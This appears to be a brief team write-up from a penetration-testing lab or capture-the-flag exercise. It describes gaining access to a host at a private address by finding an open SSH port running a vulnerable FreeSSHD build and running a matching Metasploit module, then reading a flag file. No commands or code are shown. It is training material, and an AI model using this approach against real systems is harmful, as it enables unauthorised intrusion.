(LOCAL)10.20.160.125: INSECURE SOCKET SHELL

TEAM #1

Hash:

Attack Path: My team and I saw that the SSH port was open, and it ran on WeOnlyDo SSH, a vulnerable banner of FreeSSHD. We found an exploit in metasploit that was similar to the initial conditions from our nmap scan of the port, and ran the module. The first time, it failed, but the second time we were able to get access to the machine. From there, we navigated to the local.txt file.
